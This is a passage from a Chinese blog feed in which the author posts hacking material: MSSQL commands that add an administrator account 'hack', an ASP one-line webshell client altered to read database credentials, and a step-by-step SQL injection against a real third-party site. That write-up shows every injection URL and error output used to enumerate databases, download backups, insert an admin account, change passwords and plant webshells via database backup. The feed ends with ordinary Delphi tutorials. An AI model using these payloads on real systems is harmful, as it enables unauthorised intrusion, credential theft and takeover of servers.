&nbsp; <BR>&nbsp; <BR><BR><BR>&nbsp; &nbsp; conn.close<BR>&nbsp; &nbsp; set conn=nothing<BR>&nbsp; &nbsp; end if<BR>&nbsp; %&gt;<BR></P>
<P>&nbsp;</P>
<P>方法二：</P>
<P>这个是直接在查询分析器中执行，利用wscript来实现，就是 当xp_cmdshell 被系统管理员删除了的情况下，可以使用这招！</P>
<P>declare @cmd INT<BR>exec sp_oacreate 'wscript.shell',@cmd output<BR>exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true'</P>
<P>--------------------------增加权限---------------------------------------------------------------------------<BR>declare @cmd INT<BR>exec sp_oacreate 'wscript.shell',@cmd output<BR>exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true'<BR></P></TD></TR></TBODY></TABLE><BR>]]></description>
</item><item>
<title><![CDATA[【原创】改造一句话木马读取数据库连接信息]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2008/1212.html</link>
<author>roki</author>
<pubDate>2008-1-25 2:51:00</pubDate>
<description><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD>
<H4><BR>一句话木马的常用做法是利用数据库备份生成一个 asp文件，然后利用连接端再生成一个大马。<BR><BR>但是！很多大马都遭到杀软的通缉，写进去很多不是被杀就是被封！<BR><BR>看了一句话木马的原理，其实非常简单，我突发奇想，按理说也应该可以读取到sql的连接信息，如果我已经知道了conn.asp的位置的话（可以通过注入扫描工具 啊D 明小子之类的），如果读取了这个连接信息的文件conn.asp,把帐号密码读出来，那可以通过DBO提权，如果是SA的话那就更爽了。。。<BR><BR>于是我就自己试着改造（主要是客户端的改变）这个木马<BR><BR>－－－－－－－－－<BR><BR>一句话木马内容如下，这个没什么好说的，也没什么好改的：<BR><BR>&lt;%execute request("value")%&gt;<BR><BR>－－－－－－－蓝屏大叔的连接端源码如下－－－－－－－－－－－－－－－－<BR><BR><BR>&lt;form action=http://www.xxx.com/a.asp method=post&gt;<BR>&lt;textarea name=value cols=120 rows=10 width=45&gt; <BR>set lP=server.createObject("Adodb.Stream") <BR>lP.Open <BR>lP.Type=2 <BR>lP.CharSet="gb2312" <BR>lP.writetext request("fhod") <BR>lP.SaveToFile server.mappath("ck.asp"),2 <BR>lP.Close <BR>set lP=nothing <BR>response.redirect "ck.asp" <BR>&lt;/textarea&gt; <BR>&lt;textarea name=fhod cols=120 rows=10 width=45&gt;添入生成木马的内容&lt;/textarea&gt;&lt;BR&gt;&lt;center&gt;&lt;br&gt; <BR>&lt;input type=submit value=提交&gt;<BR>&lt;/form&gt;<BR><BR><BR>－－－－－－－－－－－－－－－－－------------------------------------<BR><BR><BR><BR><BR>我改造的连接端如下：<BR><BR>&lt;form action=http://www.xxxx.com/a.asp method=post&gt;<BR>&lt;textarea name=value cols=120 rows=10 width=45&gt; <BR>dim fso<BR>Set FSO = Server.CreateObject("Scripting.FileSystemObject") <BR>&nbsp; File = Server.MapPath("../public/conn.asp")<BR><BR>n=0<BR>If FSO.FileExists(File) = True Then '判断该文件是否存在<BR><BR><BR>Set CTF=FSO.OpenTextFile(File,1,False,TristateFalse)<BR>do while not(ctf.AtEndOfStream)<BR>response.write "&lt;br&gt;-------"<BR>response.write CTF.ReadLine<BR>response.write "&lt;br&gt;------"<BR>loop<BR>End If<BR>set ctf=nothing<BR>set fso=nothing<BR>&lt;/textarea&gt; <BR>&lt;textarea name=fhod cols=120 rows=10 width=45&gt;添入生成木马的内容&lt;/textarea&gt;&lt;BR&gt;&lt;center&gt;&lt;br&gt; <BR>&lt;input type=submit value=提交&gt;<BR>&lt;/form&gt;<BR><BR><BR><BR><BR>----------------非常简单吧，嘿嘿，只是利用 FSO读取文本出来－－－－－－－－－－－－<BR><BR><BR><BR>注意两点：<BR><BR>1。要sql中文版 ，其他版读出来的是乱码！<BR><BR>2。要知道连接信息文件的相对路径<BR><BR>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR>测试环境是 sql 2000 中文版 sp4<BR><BR><BR>其他版本读出来的是乱码，目前原因估计可能是字符集的显示问题。。。。<BR><BR>如果大家有好的方法解决这个问题也可以一起测验一下哦<BR></H4></TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[[黑客技术]一次刚做完得sql注入]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2008/1211.html</link>
<author>roki</author>
<pubDate>2008-1-25 2:49:00</pubDate>
<description><![CDATA[（成功获得一个webshell,可以删改数据库任意数据，可以备份他的数据库并下载到本地）<BR><BR>不过我没有做任何破坏，希望各位也抱着学习的心态来看这些代码。<BR><BR>千万不要做破坏，毕竟蛛丝马迹都是难逃的。。。。。。虽然没做什么破坏，但是我心里还是有些紧张，毕竟第一次实践注入。。。。。<BR><BR><BR>最近一个朋友和我说他通过 IIS溢出获得了一个webshell 刚挂了一个网马，一个小时上线了 300多台肉鸡（很可怕的） ，可惜很快后门被封了漏洞也补上了，<BR><BR>问我有没有办法，我不好拒绝，只能说试试咯。。。他给我网址，我就用 啊D扫了下，，，哇，还真有四个注入漏洞，手工测了测，只有一个是 sql server 的，其余都是 ACCESS的，我对 ACCESS特别讨厌，反正也搞不出什么明堂来（如果没有可上传的管理后台的话）。<BR><BR><BR>不过 漏洞嘛，一个就够了，要那么多干啥哩，，，，大家说是吧。。。<BR><BR>看了很多SQL注入的资料，掳起衣袖就开始。。。。<BR><BR>这个注入漏洞和很多用 ID=数字 的那种不一样，是字符串的，因此。。。我就构造了一个字符串出来。。<BR>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>*.*.*/assist/dim_counter2.asp?di=103&amp;gourl=http://www.east***.com/xgss/newstock.html ' and (select count(*) from sysobjects) &gt;11 and 'a'='a <BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>*.*.*/assist/dim_counter2.asp?di=103&amp;gourl=http://www.east**.com/xgss/newstock.html ' and (select count(*) from sysobjects) &gt;1100000 and 'a'='a <BR>-----------------------<BR><BR>反馈回来都是空白页，如果不仔细看根本看不出什么明堂哦，但是如果看源码，绝对是不一样的哦，一个源码是：<BR>第一段返回的源码：<BR>&lt;script&gt;location.href='http://www.east**.com/xgss/newstock.html ' and (select count(*) from sysobjects) &gt;11 and 'a'='http://www.newtzly.net/newblog/a'&lt;/script&gt;<BR>第二段返回的源码：<BR>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"&gt;<BR>&lt;HTML&gt;&lt;HEAD&gt;<BR>&lt;META http-equiv=Content-Type content="text/html; charset=gb2312"&gt;&lt;/HEAD&gt;<BR>&lt;BODY&gt;&lt;/BODY&gt;&lt;/HTML&gt;<BR><BR><BR>看出区别了么？一个条件成立的时候反馈回来的就是一个跳转代码（是 javascript的跳转代码），条件不成立的时候返回的是没有任何东西的。。。。第一段的条件是 (select count(*) from sysobjects) &gt;11 数据库里的对象一般都超过11个的咯，所以说条件当然成立，第2段的条件是(select count(*) from sysobjects) &gt;1100000 ，数据库里没有那么多对象，因此不成立，反馈回来的是空，于是就跳到了空白页面。<BR><BR><BR>看到了吗？这两句说明了一个问题，‘号 和 ＝号没有被屏蔽，是 MSSQL数据库，可以通过这两种反馈回来的结果页面看出成功与否。。。。。<BR><BR><BR>－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR>接下来，，，，就是探测信息了，，，嘿嘿，看我构造的这些语句。。。。打字很累 我就不一一解释了哦，不明白的可以回帖 我来给你们解释。。。<BR><BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>××××/assist/dim_counter2.asp?di=103&amp;gourl=http://www.east××××.com/xgss/newstock.html ' and (select top 1 name from sysobjects) &gt;1 and 'a'='a <BR><BR>反馈出有一个对象 ahcmd<BR><BR>Microsoft OLE DB Provider for SQL Server error '80040e07' <BR><BR>Syntax error converting the nvarchar value 'ahcmd' to a column of data type int. <BR><BR>/assist/dim_counter2.asp, line 12 <BR><BR><BR><BR>－－－－－－－－－－－－－－－－－－<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html ' and (select count(*) from master.dbo.sysdatabases) &gt;8 and 'a'='a<BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html ' and (select count(*) from master.dbo.sysdatabases) &gt;7 and 'a'='a<BR><BR><BR>猜出 里面有8个数据库（包括系统数据库）<BR><BR>－－－－－－－－－－－－－－－－－－－－<BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html ' and (select @@version)&gt;8 and 'a'='a<BR><BR><BR>Microsoft OLE DB Provider for SQL Server error '80040e07' <BR><BR>Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int. <BR><BR>确定版本信息<BR><BR>－－－－－－－－－－－－－－－－－－－－－<BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html ' and user_name()&gt;8 and 'a'='a<BR><BR><BR><BR><BR><BR><BR><BR><BR>Microsoft OLE DB Provider for SQL Server error '80040e07' <BR><BR>Syntax error converting the nvarchar value 'comeonbaby' to a column of data type int. <BR><BR>/assist/dim_counter2.asp, line 12 <BR><BR>确定用户名为 comeonbaby<BR><BR>－－－－－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html ' and db_name()&gt;8 and 'a'='a<BR><BR><BR>Microsoft OLE DB Provider for SQL Server error '80040e07' <BR><BR>Syntax error converting the nvarchar value 'EMASSIST' to a column of data type int. <BR><BR>/assist/dim_counter2.asp, line 12 <BR><BR>获取当前的数据库名称为 EMASSIST<BR><BR>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 name from master.dbo.sysdatabases where dbid&gt;6)&gt;8 and 'a'='a<BR><BR><BR><BR>Syntax error converting the nvarchar value 'EMASSIST' to a column of data type int. <BR><BR>第一个用户数据库名 是 EMASSIST<BR><BR>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 name from master.dbo.sysdatabases where dbid&gt;7)&gt;8 and 'a'='a<BR><BR>Syntax error converting the nvarchar value 'SearchLog' to a column of data type int. <BR><BR><BR><BR>第2个用户数据库名 为 SearchLog<BR>（只有8个数据库，SQL默认是6个系统数据库哦，因此，不用继续看了，肯定是没有第3个用户数据库了。。。。。实事上我的结论被证明是对的。where dbid&gt;8 的时候根本就没数据库了）<BR>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html ' and (select IS_MEMBER('db_owner'))=1 and 'a'='a<BR><BR><BR>测出是 db-owner权限<BR><BR>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html ' and (select IS_SRVROLEMEMBER('sysadmin'))=1 and 'a'='a<BR><BR>不是 sa权限<BR><BR>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';--;select top 1 a from ahcmd where 'a'='a<BR><BR><BR>以上语句成功反馈，说明可以单独构造出一句独立的执行语句（;--;）在--的地方可以直接写自己的语句即可。<BR><BR><BR>确定可以构造出一条执行语句<BR><BR>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';master.dbo.xp_regwrite ''HKEY_LOCAL_MACHINE'',''SOFTWARE\Microsoft\Windows\currentvers ion\run'',''aa'',''REG_SZ'',''net user abc abc /add'';select top 1 a from ahcmd where 'a'='a<BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01;select top 1 a from ahcmd where 'a'='a<BR><BR><BR>两步都是失败，说明没有读写注册表的权限<BR>------------------------------------------------<BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html' and (select [password] from master.dbo.sysxlogins where sid=0x01)&gt;0 and 'a'='a<BR><BR><BR>Microsoft OLE DB Provider for SQL Server error '80040e09' <BR><BR>SELECT permission denied on object 'sysxlogins', database 'master', owner 'dbo'. <BR><BR>/assist/dim_counter2.asp, line 12 <BR><BR><BR>没有权限，查看不了sa的密码（一般 dbowner都没有的）<BR>------------------------------------------------<BR><BR><BR><BR>这时就要利用啊D帮忙了，让啊D分析出网站目录文件结构，嘻嘻，开始备份他的数据库<BR><BR>如果没有下载目录的话，备份出来也那不到啊，。。。。<BR>-------------------------------------------------<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';backup database EMASSIST to disk='d:\assist\bak\a.bak' with init;select top 1 a from ahcmd where 'a'='a<BR><BR>备份数据库到D盘d:\assist\bak\a.bak<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';backup database SearchLog to disk='d:\assist\bak\s.bak';select top 1 a from ahcmd where 'a'='a<BR><BR>通过 <A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/bak/a.bak 下载下来<BR><BR><BR>好啦 ，拉下来一看 有300M。。。。。。释放出来的数据库竟然有8G!!!!!我忙了好一阵才疼出空间来，，，晕死了。。。。这只是一个库。。。<BR><BR><BR>－－－－－－－－－－－－－－－－－－－－－－－－－－－<BR>还原数据库后，发现有一个表EDITORLIST，存放的是管理员的用户密码信息，于是就用下面几句来探测下。。。<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';insert into EDITORLIST(editor_validity,editor_name,editor_create_time,editor_password)values('1','sunyan','2006-08-31 15:15:27.000','618a5676d977177f') ;select top 1 a from ahcmd where 'a'='a<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 editor_password from EDITORLIST order by editor_id desc) &gt;1 and 'a'='a<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html' and ( select editor_id from EDITORLIST where editor_password='618a5676d977177f') =11 and 'a'='a<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html' and ( select editor_id from EDITORLIST where editor_password='618a5676d977177f') =11 and 'a'='a<BR><BR>插入一条用户管理员 并查询<BR><BR><BR>更改管理员密码<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';update EDITORLIST set editor_password='469e80d32c0559f8' where editor_password='618a5676d977177f';select top 1 a from ahcmd where 'a'='a<BR><BR>插入管理员权限<BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';insert into EDITORRIGHT(right_editor_id,right_func_id )values(11,4);select top 1 a from ahcmd where 'a'='a<BR><BR><BR>哈已经可以登陆它的后台了，，，，可是后台没有上传的功能。。。。。郁闷<BR><BR><BR>登陆地址 ：××××××× 我就不写了。。。<BR><BR><BR>目的已经达到了，为了生成一个webshell我考虑来考虑去，只有一句话木马和备份法可以实现哦。。<BR><BR>好决定再试试。。。。<BR>－－－－－－－－－－－－－－－－－－－－－－－－<BR><BR>备份生成一句话木马<BR><BR>测试：<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';use SearchLog;use EMASSIST;select top 1 a from ahcmd where 'a'='a<BR><BR>OK！<BR><BR>－－－创建一句话木马－<BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';insert into ahcmd (a) values ('&lt;%execute request("value")%&gt;');select top 1 a from ahcmd where 'a'='a<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';BACKUP DATABASE EMASSIST to disk='d:\assist\bak\t.asp' with DIFFERENTIAL,init;select top 1 a from ahcmd where 'a'='a<BR><BR><BR><BR><BR>--http://61.****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';use SearchLog;create table cmd(str image);use EMASSIST;select top 1 a from ahcmd where 'a'='a<BR><BR>---http://61.****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';use SearchLog;insert into cmd(str) values ('&lt;%execute request("value")%&gt;');use EMASSIST;select top 1 a from ahcmd where 'a'='a<BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html';use SearchLog;BACKUP DATABASE SearchLog to disk='d:\assist\bak\t.asp' with DIFFERENTIAL,init;use EMASSIST;select top 1 a from ahcmd where 'a'='a<BR><BR>查看<BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html ' and (select top 1 str from SearchLog.dbo.[cmd])&gt;1 and 'a'='a <BR><BR><BR><BR><BR>----------------------创建简洁shell<BR><BR><BR><BR><A href="http://61./" target=_blank><SPAN style="http://www.newtzly.net/newblog/COLOR: #2f5fa1">http://61.</SPAN></A>****/assist/dim_counter2.asp?di=103&amp;gourl=http://www.***.com/xgss/newstock.html'; create table cmd(str image); insert into cmd(str) values ('&lt;%=server.createobject("wscript.shell").exec("cmd.exe /c"&amp;request("c")).stdout.readall%&gt;');backup database model to disk='d:\assist\bak\l.asp with DIFFERENTIAL,init;select top 1 a from ahcmd where 'a'='a<BR><BR><BR>好了，，，，，已经创建了我的木马和 webshell了，，，，<BR><BR><BR>提权？又是一件很麻烦的事情哦。。。。。。。。。。。。。。。。<BR><BR><BR>这里就不接着说了，很多老方法现在都不能用了，，我自己也没继续弄下去，的确很痛苦的一件事。。。。<BR><BR><BR><BR>^_^。。。。。。。。。。]]></description>
</item><item>
<title><![CDATA[delphi安装控件的方法]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2008/1210.html</link>
<author>roki</author>
<pubDate>2008-1-12 17:59:00</pubDate>
<description><![CDATA[<DIV class=tit>&nbsp;</DIV>
<TABLE style="TABLE-LAYOUT: fixed">
<TBODY>
<TR>
<TD>
<DIV class=cnt>基本安装&nbsp;&nbsp;<BR>1、对于单个控件，Componet--&gt;install component..--&gt;PAS或DCU文件--&gt;install;<BR>2、对于带*.dpk文件的控件包，File--&gt;Open(下拉列表框中选*.dpk)--&gt;install即可；<BR>3、对于带*.bpl文件的控件包，Install Packages--&gt;Add--&gt;bpl文件名即可；<BR>4、如果以上Install按钮为失效的话，试试Compile按钮；<BR>5、是run time lib则在option下的packages下的runtimepackes加之。<BR>&nbsp;&nbsp;&nbsp;&nbsp; 如果编译时提示文件找不到的话，一般是控件的安装目录不在Delphi的Lib目录中，有两种方法可以解决：<BR>1、反安装的源文件拷入到Delphi的Lib目录下；<BR>2、或者Tools--&gt;Environment Options中把控件源代码路径加入到Delphi的Lib目录中即可。<BR>注意：所安装的控件是否与你所用的Delphi版本相适应。<BR><BR>RxLib的安装&nbsp;&nbsp;<BR>首先在Delphi 5 的 IDE 中将以前版本的 Rxlib 反安装掉，删除 RXCTL5.BPL、RXDB5.BPL、 RXBDE5.BPL、DCLRX5.BPL、 DCLRXDB5.BPL 和DCLRXBD5.BPL。<BR>打开 Rx 的运行包 RXCTL5.DPK，在 Package 窗口中按 Compile 按钮编译 RXCTL5.DPK ，然后用同样方法编译另两个运行包RXDB5.DPK 和 RXBDE5.DPK ，将编译后的三个 BPL 文件放到搜索路径中，如 WINDOWS\SYSTEM等。<BR>在编译完运行包后你必须将 RX 的设计期包安装到 IDE 环境中。<BR>打开 Rx 的设计期包 DCLRX5.DPK，在 Package 窗口中按 Compile 按钮编译，然后按 Install按钮将设计期包注册到组件面板中。用同样的方法安装 DCLRXDB5.DPK 和 DCLRXBD5.DPK。<BR>注意：不要在 Delphi IDE 中保存包资源(package sources)！<BR><BR>帮助文件的安装&nbsp;&nbsp;<BR>单击 Delphi 中的 Help 菜单下的 Customize 菜单项，这时会弹出 OpenHelp 对话框，选择在 Index 页下，打开 Edit 菜单下的 Add Files 菜单，添加你要加入的帮助菜单，这样你就可以在 Delphi 的 IDE 下使用该帮助文件了。 <BR>&nbsp;&nbsp;<BR>控件删除&nbsp;&nbsp;&nbsp;<BR>在Component/Install Packages中删除。 <BR>选Component/configure Palette…<BR>有pages和components两个区域<BR>双击components区域，选中要删除得控件，下面有得Delete按钮<BR>但系统提供的控件只能Hide，不能delete。<BR>打开控件所在的包文件(*.dpk)，从中删除控件那个文件，再重新编译该包即可<BR>如果是整个控件包都要删除的话,project-&gt;Option-&gt;Packages,删掉那个packages,That would be ok~&nbsp;&nbsp;</DIV></TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[TCHART的用法]]></title>
<link>http://www.newtzly.net/newblog/u/roki/archives/2008/1209.html</link>
<author>roki</author>
<pubDate>2008-1-12 17:36:00</pubDate>
<description><![CDATA[<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">最近开发要使 用图表，Delphi里提供了图表开发的控件TChart，可惜帮助里没有DEMO代码，上网搜索了一下，竟然发现文章也少的可怜。没办法，自己丰衣足 食，写代码试用，看帮助，读代码，搞了半天大概弄明白了TChart的使用方式，下面写一下几个常见问题的解决。</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">1.如何写一个TChart的Hello World？</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">放一个控件到窗体上，然后写代码加入一个折线数据序列：</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">var<BR>Series: TLineSeries;<BR>begin<BR>Series := TLineSeries.Create(Chart1);<BR>Series.Add(100, 'aaa', clRed);<BR>Series.Add(200, 'AAA', clGreen);<BR>Chart1.AddSeries(Series);<BR>end;</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">这样就会生成一个简单的折线图表，要生成其它类型的数据图表，可以添加不同的数据序列（各种图表的序列类型可以参考帮助文档）。</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">2.如何设置图表的标题？</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">TChart组件提供了Title属性可以这是图表的标题，包括标题的内容、字体、对齐方式等都可以通过Title属性设置。</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">最简单的设置方式：</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">Chart1.Title.Text.Text := '图表的标题';</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">3.如何修改图表的背景颜色和整个图表的颜色？</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">TChart是一个窗体控件，可以通过修改Color属性设置图表颜色，这是一种最简单的方式：</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">Chart1.Color := clWhite;</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">修改图表部分的背景色可以通过BackColor属性来实现：</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">Chart1.BackColor := clGreen;</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">此外，TChart还提供了渐变的背景支持，通过Gradient控制：</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">Chart1.Gradient.Visible := True;<BR>Chart1.Gradient.Direction := gdFromTopLeft;<BR>Chart1.Gradient.StartColor := clGreen;<BR>Chart1.Gradient.EndColor := clYellow;</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">4.TChart的3D效果如何控制？</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">TChart提供了View3D属性，控制是否使用3D效果，View3dWalls属性控制是否显示左侧的3D墙效果</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080"></SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">5.如何不显示图表控件生成图表？</SPAN></DIV>
<DIV class=cnt><SPAN style="FONT-SIZE: 12pt; COLOR: #808080">很遗憾，TChart是一个Windows窗体控件，必须依附一个窗体或Windows控件才能使用。如果要不显示TChart的话，可以将TChart的Visible属性设为False来使用。下面的例子创建了一个隐藏的TChart来生成图表：</SPAN></DIV>
